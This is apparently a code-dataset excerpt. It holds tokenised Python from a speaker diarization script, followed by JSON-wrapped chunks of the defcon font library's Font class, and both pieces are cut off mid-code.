"1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gmm", "\\u", "list_", "._", "append_", "(_", "best", "\\u", "merge", "d\\u", "gmm", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", " ", "size", " ", "of", " ", "each", " ", "cluster", ":\"_", ",_", "[_", "g_", "._", "M_", "for_", "g_", "in_", "self_", "._", "gmm", "\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"==", "=", " ", "Total", " ", "clusteri", "ng", " ", "time", ":", " ", "\"_", ",_", "time_", "._", "time_", "(_", ")_", "-_", "main", "\\u", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"==", "=", " ", "Final", " ", "size", " ", "of", " ", "each", " ", "cluster", ":\"_", ",_", "[_", "g_", "._", "M_", "for_", "g_", "in_", "self_", "._", "gmm", "\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "most", "\\u", "like", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "usage_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", " ", " ", " ", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "\\", "10", ";", " ", " ", " ", " ", "Speak", "er", " ", "Dia", "riz", "ation", " ", "in", " ", "Pyth", "on", " ", "with", " ", "Asp", " ", "and", " ", "the", " ", "GM", "M", " ", "Special", "ize", "r", " ", "usage", ":", "\\", "10", ";", " ", " ", " ", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", " ", "for", " ", "the", " ", "dia", "rize", "r", " ", "are", " ", "parsed", " ", "from", " ", "a", " ", "config", " ", "file", ".", " ", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "config", " ", "file", " ", "is", " ", "dia", "rize", "r", ".", "cfg", ",", " ", "but", " ", "you", " ", "can", " ", "pass", " ", "your", " ", "own", " ", "file", " ", "with", " ", "the", " ", "'-", "c", "'", " ", "option", ".", " ", "\\", "10", ";", " ", " ", " ", " ", "Requ", "ired", " ", "is", " ", "the", " ", "config", " ", "file", " ", "header", ":", " ", "[", "Dia", "rize", "r", "]", " ", "and", " ", "the", " ", "options", " ", "are", " ", "as", " ", "follow", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "---", " ", "Requ", "ired", ":", " ", "---", "\\", "10", ";", " ", " ", " ", " ", "basen", "ame", ":", " ", "\\\\", "t", " ", "Base", "name", " ", "of", " ", "the", " ", "file", " ", "to", " ", "process", "\\", "10", ";", " ", " ", " ", " ", "mfc", "c\\u", "feats", ":", " ", "\\\\", "t", " ", "MF", "CC", " ", "input", " ", "feature", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "output", "\\u", "cluster", ":", " ", "\\\\", "t", " ", "Output", " ", "clusteri", "ng", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "gmm", "\\u", "output", ":", " ", "\\\\", "t", " ", "Output", " ", "GM", "Ms", " ", "parameter", "s", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "M", "\\u", "mfc", "c", ":", " ", "\\\\", "t", " ", "Amo", "unt", " ", "of", " ", "gauss", "ain", "s", " ", "per", " ", "model", " ", "for", " ", "mfc", "c", "\\", "10", ";", " ", " ", " ", " ", "initial", "\\u", "cluster", "s", ":", " ", "Number", " ", "of", " ", "initial", " ", "cluster", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "---", " ", "Optio", "nal", ":", " ", "---", "\\", "10", ";", " ", " ", " ", " ", "spn", "sp", "\\u", "file", ":", " ", "\\\\", "t", " ", "spn", "sp", " ", "file", " ", "(", "all", " ", "features", " ", "used", " ", "by", " ", "default", ")", "\\", "10", ";", " ", " ", " ", " ", "KL", "\\u", "nto", "p", ":", " ", "\\\\", "t", " ", "Nu", "ber", " ", "of", " ", "combinat", "ion", "s", " ", "to", " ", "evaluate", " ", "BIC", " ", "on", "\\", "10", ";", " ", " ", " ", " ", "\\\\", "t", " ", "0", " ", "to", " ", "dea", "ctive", " ", "KL", "-", "dive", "rge", "nc", "y", " ", "(", "fast", "match", "-", "component", ")", "\\", "10", ";", " ", " ", " ", " ", "em", "\\u", "iterati", "ons", ":", " ", "\\\\", "t", " ", "Number", " ", "of", " ", "iterati", "ons", " ", "for", " ", "the", " ", "standard", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "\\\\", "t", " ", "segmentation", " ", "loop", " ", "train", "ing", " ", "(", "3", " ", "by", " ", "default", ")", "\\", "10", ";", " ", " ", " ", " ", "num", "\\u", "seg", "\\u", "iters", "\\u", "init", ":", " ", "\\\\", "t", " ", "Number", " ", "of", " ", "major", "it", "y", " ", "vote", " ", "iterati", "ons", "\\", "10", ";", " ", " ", "\\\\", "t", " ", "in", " ", "the", " ", "initialization", " ", "phase", " ", "(", "2", " ", "by", " ", "default", ")", "\\", "10", ";", " ", " ", " ", " ", "num", "\\u", "seg", "\\u", "iters", ":", " ", "\\\\", "t", " ", "Number", " ", "of", " ", "major", "it", "y", " ", "vote", " ", "iterati", "ons", "\\", "10", ";", " ", "\\\\", "t", " ", "in", " ", "the", " ", "main", " ", "loop", " ", "(", "3", " ", "by", " ", "default", ")", "\\", "10", ";", " ", " ", " ", " ", "seg", "\\u", "length", ":", " ", "\\\\", "t", " ", "Segme", "nt", " ", "length", " ", "for", " ", "major", "it", "y", " ", "vote", " ", "in", " ", "frames", "\\", "10", ";", " ", " ", " ", " ", "\\\\", "t", " ", "(", "250", " ", "frames", " ", "by", " ", "default", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "faste", "st", " ", "perform", "anc", "e", ",", " ", "enable", " ", "KL", "-", "dive", "rge", "nc", "y", " ", "(", "KL", "\\u", "nto", "p", " ", "=", " ", "3", ")", " ", "and", " ", "set", "\\", "10", ";", " ", " ", "\\\\", "t", " ", "num", "\\u", "seg", "\\u", "iters", "\\u", "init", " ", "and", " ", "num", "\\u", "seg", "\\u", "iters", " ", "to", " ", "1", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "no", "\\u", "config_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Ple", "ase", " ", "supply", " ", "a", " ", "config", " ", "file", " ", "with", " ", "-", "c", " ", "'", "config", "\\u", "file", "\\u", "name", ".", "cfg", "'", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "config", "\\u", "params_", "(_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "read", " ", "in", " ", "filenames_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meeting", "\\u", "name_", "=_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "basen", "ame", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "basen", "ame", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "mfc", "c\\u", "feats", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Feature", " ", "file", " ", "mfc", "c\\u", "feats", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sp_", "=_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "spn", "sp", "\\u", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Spee", "ch", " ", "file", " ", "spn", "sp", "\\u", "file", " ", "not", " ", "specified", ",", " ", "continui", "ng", " ", "with", "out", " ", "it", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sp_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outfile_", "=_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "output", "\\u", "cluster", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "output", "\\u", "cluster", " ", "file", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gmm", "file_", "=_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "gmm", "\\u", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "gmm", "\\u", "output", " ", "file", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "read", " ", "GM", "M", " ", "param", "ters_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "gmm", "s_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "initial", "\\u", "cluster", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "initial", "\\u", "cluster", "s", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "comps_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "M", "\\u", "mfc", "c", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "M", "\\u", "mfc", "c", " ", "not", " ", "specified", " ", "in", " ", "config", " ", "file", "!", " ", "exit", "ing", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "read", " ", "algo", "rit", "hm", " ", "configuration_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kl", "\\u", "nto", "p_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "KL", "\\u", "nto", "p", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kl", "\\u", "nto", "p_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "seg", "\\u", "iters", "\\u", "init_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "num", "\\u", "seg", "\\u", "iters", "\\u", "init", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "seg", "\\u", "iters", "\\u", "init_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "seg", "\\u", "iters_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "num", "\\u", "seg", "\\u", "iters", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "seg", "\\u", "iters_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "em", "\\u", "iters_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "em", "\\u", "iterati", "ons", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "em", "\\u", "iters_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seg", "\\u", "length_", "=_", "int_", "(_", "config_", "._", "get_", "(_", "'", "Dia", "rize", "r", "'_", ",_", "'", "seg", "\\u", "length", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seg", "\\u", "length_", "=_", "250_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "meeting", "\\u", "name_", ",_", "f_", ",_", "sp_", ",_", "outfile_", ",_", "gmm", "file_", ",_", "num", "\\u", "gmm", "s_", ",_", "num", "\\u", "comps_", ",_", "num", "\\u", "em", "\\u", "iters_", ",_", "kl", "\\u", "nto", "p_", ",_", "num", "\\u", "seg", "\\u", "iters", "\\u", "init_", ",_", "num", "\\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defcon/objects/font.py
[ { "content": "import os\nimport re\nimport weakref\nfrom fontTools.misc.arrayTools import unionRect\nfrom robofab import ufoLib\nfrom defcon.objects.base import BaseObject\nfrom defcon.objects.glyph import Glyph\nfrom defcon.objects.info import Info\nfrom defcon.objects.kerning import Kerning\nfrom defcon.objects.groups import Groups\nfrom defcon.objects.features import Features\nfrom defcon.objects.lib import Lib\nfrom defcon.objects.uniData import UnicodeData\nfrom defcon.tools.notifications import NotificationCenter\n\n\n# regular expressions used by various search methods\noutlineSearchPointRE = re.compile(\n \"<\\s*point\\s+\" # <point\n \"[^>]+\" # anything except >\n \">\" # >\n)\n\ncomponentSearchRE = re.compile(\n \"<\\s*component\\s+\" # <component\n \"[^>]*?\" # anything except >\n \"base\\s*=\\s*[\\\"\\']\" # base=\"\n \"(.*?)\" # glyph name\n \"[\\\"\\']\" # \"\n)\n\ncontrolBoundsPointRE = re.compile(\n \"<\\s*point\\s+\"\n \"[^>]+\"\n \">\"\n)\ncontrolBoundsPointXRE = re.compile(\n \"\\s+\"\n \"x\\s*=\\s*\"\n \"[\\\"\\']\"\n \"([-\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsPointYRE = re.compile(\n \"\\s+\"\n \"y\\s*=\\s*\"\n \"[\\\"\\']\"\n \"([-\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentRE = re.compile(\n \"<\\s*component\\s+\"\n \"[^>]*?\"\n \">\"\n)\ncontrolBoundsComponentBaseRE = re.compile(\n \"base\\s*=\\s*[\\\"\\']\"\n \"(.*?)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentXScaleRE = re.compile(\n \"xScale\\s*=\\s*[\\\"\\']\"\n \"([-.\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentYScaleRE = re.compile(\n \"yScale\\s*=\\s*[\\\"\\']\"\n \"([-.\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentXYScaleRE = re.compile(\n \"xyScale\\s*=\\s*[\\\"\\']\"\n \"([-.\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentYXScaleRE = re.compile(\n \"yxScale\\s*=\\s*[\\\"\\']\"\n \"([-.\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentXOffsetRE = re.compile(\n \"xOffset\\s*=\\s*[\\\"\\']\"\n \"([-\\d]+)\"\n \"[\\\"\\']\"\n)\ncontrolBoundsComponentYOffsetRE = re.compile(\n \"yOffset\\s*=\\s*[\\\"\\']\"\n \"([-\\d]+)\"\n \"[\\\"\\']\"\n)\n\n\n\n\n# -----\n# Tests\n# -----\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Font(BaseObject):\n\n \"\"\"\n If loading from an existing UFO, **path** should be the path to the UFO.\n\n If you subclass one of the sub objects, such as :class:`Glyph`,\n the class must be registered when the font is created for defcon\n to know about it. The **\\*Class** arguments allow for individual\n ovverrides. If None is provided for an argument, the defcon\n appropriate class will be used.\n\n **This object posts the following notifications:**\n\n =================== ====\n Name Note\n =================== ====\n Font.Changed Posted when the *dirty* attribute is set.\n Font.ReloadedGlyphs Posted after the *reloadGlyphs* method has been called.\n =================== ====\n\n The Font object has some dict like behavior. For example, to get a glyph::\n\n glyph = font[\"aGlyphName\"]\n\n To iterate over all glyphs::\n\n for glyph in font:\n\n To get the number of glyphs::\n\n glyphCount = len(font)\n\n To find out if a font contains a particular glyph::\n\n exists = \"aGlyphName\" in font\n\n To remove a glyph::\n\n del font[\"aGlyphName\"]\n \"\"\"\n\n changeNotificationName = \"Font.Changed\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n # ----------\n # Attributes\n # ----------\n\n\n\n path = property(_get_path, _set_path, doc=\"The location of the file on disk. Setting the path should only be done when the user has moved the file in the OS interface. Setting the path is not the same as a save operation.\")\n\n\n ufoFormatVersion = property(_get_ufoFormatVersion, doc=\"The UFO format version that will be used when saving. This is taken from a loaded UFO during __init__. If this font was not loaded from a UFO, this will return None until the font has been saved.\")\n\n\n glyphsWithOutlines = property(_get_glyphsWithOutlines, doc=\"A list of glyphs containing outlines.\")\n\n\n componentReferences = property(_get_componentReferences, doc=\"A dict of describing the component relationshis in the font. The dictionary is of form ``{base glyph : [references]}``.\")\n\n\n bounds = property(_get_bounds, doc=\"The bounds of all glyphs in the font. This can be an expensive operation.\")\n\n\n controlPointBounds = property(_get_controlPointBounds, doc=\"The control bounds of all glyphs in the font. This only measures the point positions, it does not measure curves. So, curves without points at the extrema will not be properly measured. This is an expensive operation.\")\n\n # -----------\n # Sub-Objects\n # -----------\n\n\n info = property(_get_info, doc=\"The font's :class:`Info` object.\")\n\n\n kerning = property(_get_kerning, doc=\"The font's :class:`Kerning` object.\")\n\n\n groups = property(_get_groups, doc=\"The font's :class:`Groups` object.\")\n\n\n features = property(_get_features, doc=\"The font's :class:`Features` object.\")\n\n\n lib = property(_get_lib, doc=\"The font's :class:`Lib` object.\")\n\n\n unicodeData = property(_get_unicodeData, doc=\"The font's :class:`UnicodeData` object.\")\n\n # -------\n # Methods\n # -------\n\n\n # ----------------------\n # Notification Callbacks\n # ----------------------\n\n\n\n\n # ---------------------\n # External Edit Support\n # ---------------------\n\n # data stamping\n\n\n\n\n\n\n\n\n # data comparison\n\n\n\n\n\n\n\n\n\n # data reloading\n\n\n\n\n\n\n\n # -----------------------------\n # UFO Format Version Conversion\n # -----------------------------\n\n", "metadata": "root.Font", "header": "['module', '___EOS___']", "index": 92 }, { "content": " def __init__(self, path=None,\n kerningClass=None, infoClass=None, groupsClass=None, featuresClass=None, libClass=None, unicodeDataClass=None,\n glyphClass=None, glyphContourClass=None, glyphPointClass=None, glyphComponentClass=None, glyphAnchorClass=None):\n super(Font, self).__init__()\n if glyphClass is None:\n glyphClass = Glyph\n if infoClass is None:\n infoClass = Info\n if kerningClass is None:\n kerningClass = Kerning\n if groupsClass is None:\n groupsClass = Groups\n if featuresClass is None:\n featuresClass = Features\n if libClass is None:\n libClass = Lib\n if unicodeDataClass is None:\n unicodeDataClass = UnicodeData\n\n self._dispatcher = NotificationCenter()\n\n self._glyphClass = glyphClass\n self._glyphContourClass = glyphContourClass\n self._glyphPointClass = glyphPointClass\n self._glyphComponentClass = glyphComponentClass\n self._glyphAnchorClass = glyphAnchorClass\n\n self._kerningClass = kerningClass\n self._infoClass = infoClass\n self._groupsClass = groupsClass\n self._featuresClass = featuresClass\n self._libClass = libClass\n\n self._path = path\n self._ufoFormatVersion = None\n\n self._glyphs = {}\n self._glyphSet = None\n self._scheduledForDeletion = []\n self._keys = set()\n\n self._kerning = None\n self._info = None\n self._groups = None\n self._features = None\n self._lib = None\n\n self._unicodeData = unicodeDataClass()\n self._unicodeData.setParent(self)\n\n self._dirty = False\n\n if path:\n reader = ufoLib.UFOReader(self._path)\n self._ufoFormatVersion = reader.formatVersion\n self._glyphSet = reader.getGlyphSet()\n self._keys = set(self._glyphSet.keys())\n self._unicodeData.update(reader.getCharacterMapping())\n # if the UFO version is 1, do some conversion..\n if self._ufoFormatVersion == 1:\n self._convertFromFormatVersion1RoboFabData()\n\n self._unicodeData.dispatcher = self.dispatcher", "metadata": "root.Font.__init__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 135 }, { "content": " def _instantiateGlyphObject(self):\n glyph = self._glyphClass(\n contourClass=self._glyphContourClass,\n pointClass=self._glyphPointClass,\n componentClass=self._glyphComponentClass,\n anchorClass=self._glyphAnchorClass,\n libClass=self._libClass\n )\n return glyph", "metadata": "root.Font._instantiateGlyphObject", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 199 }, { "content": " def _loadGlyph(self, name):\n if self._glyphSet is None or not self._glyphSet.has_key(name):\n raise KeyError, '%s not in font' % name\n glyph = self._instantiateGlyphObject()\n pointPen = glyph.getPointPen()\n self._glyphSet.readGlyph(glyphName=name, glyphObject=glyph, pointPen=pointPen)\n glyph.dirty = False\n self._glyphs[name] = glyph\n self._setParentDataInGlyph(glyph)\n self._stampGlyphDataState(glyph)\n return glyph", "metadata": "root.Font._loadGlyph", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 209 }, { "content": " def _setParentDataInGlyph(self, glyph):\n glyph.setParent(self)\n glyph.dispatcher = self.dispatcher\n glyph.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Glyph.Changed\")\n glyph.addObserver(observer=self, methodName=\"_glyphNameChange\", notification=\"Glyph.NameChanged\")\n glyph.addObserver(observer=self, methodName=\"_glyphUnicodesChange\", notification=\"Glyph.UnicodesChanged\")", "metadata": "root.Font._setParentDataInGlyph", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 221 }, { "content": " def newGlyph(self, name):\n \"\"\"\n Create a new glyph with **name**. If a glyph with that\n name already exists, the existing glyph will be replaced\n with the new glyph.\n \"\"\"\n if name in self:\n self._unicodeData.removeGlyphData(name, self[name].unicodes)\n glyph = self._instantiateGlyphObject()\n glyph.name = name\n self._glyphs[name] = glyph\n self._setParentDataInGlyph(glyph)\n self.dirty = True\n # a glyph by the same name could be\n # scheduled for deletion\n if name in self._scheduledForDeletion:\n self._scheduledForDeletion.remove(name)\n # keep the keys up to date\n self._keys.add(name)", "metadata": "root.Font.newGlyph", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 228 }, { "content": " def insertGlyph(self, glyph, name=None):\n \"\"\"\n Insert **glyph** into the font. Optionally, the glyph\n can be renamed at the same time by providing **name**.\n If a glyph with the glyph name, or the name provided\n as **name**, already exists, the existing glyph will\n be replaced with the new glyph.\n \"\"\"\n from copy import deepcopy\n source = glyph\n if name is None:\n name = source.name\n self.newGlyph(name)\n dest = self[name]\n pointPen = dest.getPointPen()\n source.drawPoints(pointPen)\n dest.width = source.width\n dest.unicodes = list(source.unicodes)\n dest.note = source.note\n dest.lib = deepcopy(source.lib)\n if dest.unicodes:\n self._unicodeData.addGlyphData(name, dest.unicodes)\n return dest", "metadata": "root.Font.insertGlyph", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 248 }, { "content": " def __iter__(self):\n names = self.keys()\n while names:\n name = names[0]\n yield self[name]\n names = names[1:]", "metadata": "root.Font.__iter__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 272 }, { "content": " def __getitem__(self, name):\n if name not in self._glyphs:\n self._loadGlyph(name)\n return self._glyphs[name]", "metadata": "root.Font.__getitem__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 279 }, { "content": " def 